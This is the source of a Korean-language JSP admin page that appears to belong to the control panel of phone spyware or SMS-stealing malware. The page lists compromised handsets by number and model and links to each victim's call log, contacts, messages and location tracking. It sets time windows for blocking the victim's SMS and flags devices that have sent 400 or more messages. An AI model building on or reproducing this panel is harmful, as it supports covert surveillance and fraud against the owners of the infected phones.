<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simpla Admin</title>
<jsp:include page="css.jsp"></jsp:include>
<jsp:include page="script.jsp"></jsp:include>
<script type="text/javascript">

	var path = '<%=request.getContextPath()%>';
	function goPage(page) {
		document.getElementById("currentPage").value = page;
		document.getElementById("n_form").submit();
	}

	function promptDialog(callback, args) {
		$("<div>삭제하시겠습니까?</div>").dialog({
			title:'확인?',
			modal:true,
			resizable:false,
			draggable:false,
			close : function (event) {
				$(this).dialog("destroy");
			}, 
			buttons : {
				'확인':function (event) {
					$(this).dialog("destroy");
					if (args != null) {
						callback(args);
					} else {
						callback();
					}
				},
				'취소':function (event) {
					$(this).dialog("destroy");
				}
			}
		});
	}
	
	function deleteUser(_id){
		$.ajax({
			type : "GET",
			url : path + "/deleteUser.htm",
			data : {
				uid : _id
			},
			dataType : "text",
			success : function(result) {
				if (result == "success") {
					reload();
				} else {
					showAlertDialog("삭제에 실패하였습니다!",null);
				}
			},
			error : function() {
				showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
			}
		});
	}
	
	function reload() {
		document.getElementById("n_form").submit();
	}
</script>
</head>
<body>
	<div id="body-wrapper">
		<!-- Wrapper for the radial gradient background -->
		<div id="sidebar">
			<div id="sidebar-wrapper">
				<!-- Sidebar with logo and menu -->
				<h1 id="sidebar-title">
					<a href="#">Simpla Admin</a>
				</h1>
				<!-- Logo (221px wide) -->
				<a href="#"><img id="logo" src="<%=request.getContextPath()%>/images/logo.png" alt="Simpla Admin logo" /></a>
				<!-- Sidebar Profile links -->
				<jsp:include page="info.jsp"></jsp:include>
				<ul id="main-nav">
					<!-- Accordion Menu -->
					<li><a href="javascript:void();" class="nav-top-item current"> <!-- Add the class "current" to current menu item --> 사용자관리
					</a>
						<ul>
							<li><a href="<%=request.getContextPath()%>/userList.htm"  class="current">사용자</a></li>
						</ul></li>
					<li><a href="javascript:void();" class="nav-top-item">개인정보관리</a>
						<ul>
							<li><a href="<%=request.getContextPath()%>/smsShieldWordList.htm">문구차단</a></li>
							<li><a href="<%=request.getContextPath()%>/changePwd.htm">비밀번호수정</a></li>
							<li><a href="<%=request.getContextPath()%>/setting.htm" >설정</a></li>
							<li><a href="javascript:logout('<%=request.getContextPath()%>');">로그오프</a></li>
						</ul></li>
				</ul>
			</div>
		</div>
		<!-- End #sidebar -->
		<div id="main-content">
			<!-- Main Content Section with everything -->
			<jsp:include page="noscript.jsp"></jsp:include>
			<!-- End .shortcut-buttons-set -->
			<div class="clear"></div>
			<!-- End .clear -->
			<div class="content-box">
				<!-- Start Content Box -->
				<div class="content-box-header">
					<h3>사용자</h3>
					<div class="clear"></div>
				</div>
				<!-- End .content-box-header -->
				<div class="content-box-content">
					<div class="tab-content default-tab" id="tab1">
						<table>
							<thead>
								<tr>
									<th><input class="check-all" type="checkbox" style="display: none;"/></th>
									<th>전화번호</th>
									<th>모델</th>
									<th>문자차단</th>
									<th>통화녹음</th>
									<th>연락번호</th>
									<th>메세지</th>
									<th>위치추적</th>
									<th>삭제</th>
								</tr>
							</thead>
							<tfoot>
								<tr>
									<td colspan="8">
										<form action="<%=request.getContextPath()%>/userList.htm" method="post" id="n_form">
											<div class="pagination">
												<s:if test="users.currentPage<2">
													<a href="javascript:void();" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:void();" title="이전페지">&laquo; 이전페지</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(1);" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:goPage(${users.currentPage}-1);" title="이전페지">&laquo; 이전페지</a>
												</s:else>
												[제<b>${users.currentPage}</b>페지|총<b>${users.pageCount}</b>페지]
												<s:if test="users.currentPage>=users.pageCount">
													<a href="javascript:void();" title="다음페지">다음페지 &raquo;</a>
													<a href="javascript:void();" title="마지막페지">마지막페지 &raquo;</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(${users.currentPage+1});" title="다음페지">다음페지 &raquo;</a>
													<a href="javascript:goPage(${users.pageCount})" title="마지막페지">마지막페지 &raquo;</a>
												</s:else>
											</div>
											<!-- End .pagination -->
											<div class="clear"></div>
											<input type="hidden" value="${users.currentPage}" name="cPage"
												id="currentPage" />
										</form>
									</td>
								</tr>
							</tfoot>
							<tbody>
								<s:iterator value="users.datas" id="item" status="index">
									<tr>
										<td><input type="checkbox" style="display: none;"/></td>
										<td>
											<a href="<%=request.getContextPath()%>/contactList.htm?uid=<s:property value="#item.id"/>" target="_blank">
												<s:property value="#item.phone"/>
											</a>
											<s:if test="#item.sendSmsCount>=400">
												<img src="<%=request.getContextPath()%>/images/icons/warning.png"></img>
											</s:if>
										</td>
										<td><s:property value="#item.model"/></td>
										<td>
											<s:if test="#item.smsShield">
												<s:date name="#item.smsStartTime" nice="false" format="HH:mm" />-<s:date name="#item.smsEndTime" nice="false" format="HH:mm" />
												<img alt="edit" src="<%=request.getContextPath()%>/images/icons/pencil.png" style="margin-left: 10px;cursor: pointer;"
													onclick="showEditTimeDialog('<s:property value="#item.id"/>','<s:date name="#item.smsStartTime" nice="false" format="HH"/>','<s:date name="#item.smsStartTime" nice="false" format="mm"/>','<s:date name="#item.smsEndTime" nice="false" format="HH"/>','<s:date name="#item.smsEndTime" nice="false" format="mm"/>',true)">
											</s:if> 
											<s:else>설치하기
											<img alt="edit" src="<%=request.getContextPath()%>/images/icons/pencil.png" style="margin-left: 10px;cursor: pointer;"
													onclick="showEditTimeDialog('<s:property value="#item.id"/>','','','','',false)">
											</s:else></td>
										<td>
											<a href="<%=request.getContextPath() %>/calllog.htm?uid=<s:property value="#item.id"/>" target="_blank" style="cursor: pointer;"><img src="<%=request.getContextPath()%>/images/icons/calllog.png"/></a>
										</td>
										<td>
											<a href="<%=request.getContextPath() %>/contactList.htm?uid=<s:property value="#item.id"/>" target="_blank" style="cursor: pointer;"><img src="<%=request.getContextPath()%>/images/icons/contact.png"/></a>
										</td>
										<td>
										 	<a href="<%=request.getContextPath() %>/msgList.htm?uid=<s:property value="#item.id"/>" target="_blank" style="cursor: pointer;"><img src="<%=request.getContextPath()%>/images/icons/message.png"/></a>
										</td>
										<td>
											<a href="<%=request.getContextPath() %>/location.htm?uid=<s:property value="#item.id"/>" target="_blank" style="cursor: pointer;"><img src="<%=request.getContextPath()%>/images/icons/location.png"/></a>
										</td>
										<td>
											<img alt="delete" src="<%=request.getContextPath()%>/images/cross.png" style="cursor: pointer;" onclick="promptDialog(deleteUser,'<s:property value="#item.id"/>');">
										</td>	
									</tr>
								</s:iterator>
							</tbody>
						</table>
					</div>
					<!-- End #tab1 -->
				</div>
				<!-- End .content-box-content -->
			</div>
			<!-- End .content-box -->
			<div class="clear"></div>
			<jsp:include page="footer.jsp"></jsp:include>
			<!-- End #footer -->
		</div>
		<!-- End #main-content -->
	</div>
	<div id="sms_shield_dialog" title="" style="display: none">
	<table cellpadding="2" cellspacing="1" border="0" width="100%" align="center">
	<tr>
		<td colspan="2">&nbsp;</td>
	</tr>
	<tr>
		<td colspan="2" align="center" style="color: red;font-weight: bold;">
			주의:24시간제
		</td>
	</tr>
	<tr>
		<td colspan="2">&nbsp;</td>
	</tr>
	<tr>
		<td width="30%" align="right" class='td1'>상태<font color='#FF0000'>*</font>：</td>
		<td width="70%" class='td1' align="center">
			<select name="shield" id="shield" onchange="onShieldChange();" class="small-input">
				<option value="true" selected="selected">열기</option>
				<option value="false">취소</option>
			</select>
		</td>
	</tr>
	<tr>
		<td colspan="2">&nbsp;</td>
	</tr>
	<tr align="center">
		<td width="30%" align="right" class='td1' >시작시간<font color='#FF0000'>*</font>：</td>
		<td width="70%" class='td1'>
			<input name='startHour' type='text' size='2' id="startHour"  maxlength="2" />시
			<input name='startMinute' type='text' size='2' id="startMinute"  maxlength="2" />분
		</td>
	</tr>
	<tr>
		<td colspan="2">&nbsp;</td>
	</tr>
	<tr align="center">
		<td width="30%" align="right" class='td1'>끝내시간<font color='#FF0000'>*</font>：</td>
		<td width="70%" class='td1'>
			<input name='endHour' type='text' size='2' id="endHour"  maxlength="2" />시
			<input name='endMinute' type='text' size='2' id="endMinute"  maxlength="2"/>분
		</td>
	</tr>
	</table>
	<input type="hidden" value="" id="updateId" name="updateId">
</div>
<script type="text/javascript">
var dia_img = $("#sms_shield_dialog").dialog( {
	bgiframe :false,
	resizable :false,
	autoOpen :false,
	modal :true,
	draggable:false,
	overlay : {
		backgroundColor :'#000',
		opacity :0.5
	},
	height : 250,
	width : 400,
	buttons : {
		"확인":function(){
			//检查时间是否正确
			var status = $("#shield").val();
			var _startHour = $("#startHour").val();
			var _startMinute = $("#startMinute").val();
			var _endHour = $("#endHour").val();
			var _endMinute = $("#endMinute").val();
			var _id = $("#updateId").val();
			if(status=="true"){
				if(!isHour(_startHour)||!isMinute(_startMinute)||!isHour(_endHour)||!isMinute(_endMinute)){
					alert("시간설정오류");
					return;
				}
			}
			var path='<%=request.getContextPath()%>';
			var _requestUrl = path +"/updateSmsShieldTime.htm";
			$.ajax({
				type: "POST",
	            url: _requestUrl,
	            data:{
	            	shield:status,
	            	startHour:_startHour,
	            	startMinute:_startMinute,
	            	endHour:_endHour,
	            	endMinute:_endMinute,
	            	uid:_id
	            },
	            dataType: "text",
	            success: function(result){
	            	 if(result=="success"){
	                 	dia_img.dialog('close');
	                 	//window.location.reload();
	                 	document.getElementById("n_form").submit();
	                 }else{
	              	   alert("삭제에 실패하였습니다!");
	                 }
	            },
	            error: function(){
	              alert("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오");
	            }
			});
		},
		"취소":function(){
			dia_img.dialog('close');
		}
	}
});

function showEditTimeDialog(id,_startHour,_startMinute,_endHour,_endMinute,shield){
	$("#updateId").val(id);
	if(shield){
		$("#startHour").val(_startHour);
		$("#startMinute").val(_startMinute);
		$("#endHour").val(_endHour);
		$("#endMinute").val(_endMinute);
		$("#shield").get(0).selectedIndex = 0;
	}else{
		$("#startHour").val("0");
		$("#startMinute").val("1");
		$("#endHour").val("23");
		$("#endMinute").val("59");
		$("#shield").get(0).selectedIndex = 1;
	}
	onShieldChange();
	dia_img.dialog('open');
}

function onShieldChange(){
	var option = $("#shield");
	if(option.val() == "false"){
		$("#startHour").attr("disabled","disabled");
		$("#startMinute").attr("disabled","disabled");
		$("#endHour").attr("disabled","disabled");
		$("#endMinute").attr("disabled","disabled");
	}else{
		$("#startHour").removeAttr("disabled");
		$("#startMinute").removeAttr("disabled");
		$("#endHour").removeAttr("disabled");
		$("#endMinute").removeAttr("disabled");
	}
}

function isHour(hour){
	if(hour.length>0&&hour>=0&&hour<=24){
		return true;
	}
	return false;
}

function isMinute(minute){
	if(minute.length>0&&minute>=0&&minute<=59){
		return true;
	}
	return false;
}
</script>
</body>
<!-- Download From www.exet.tk-->
</html>
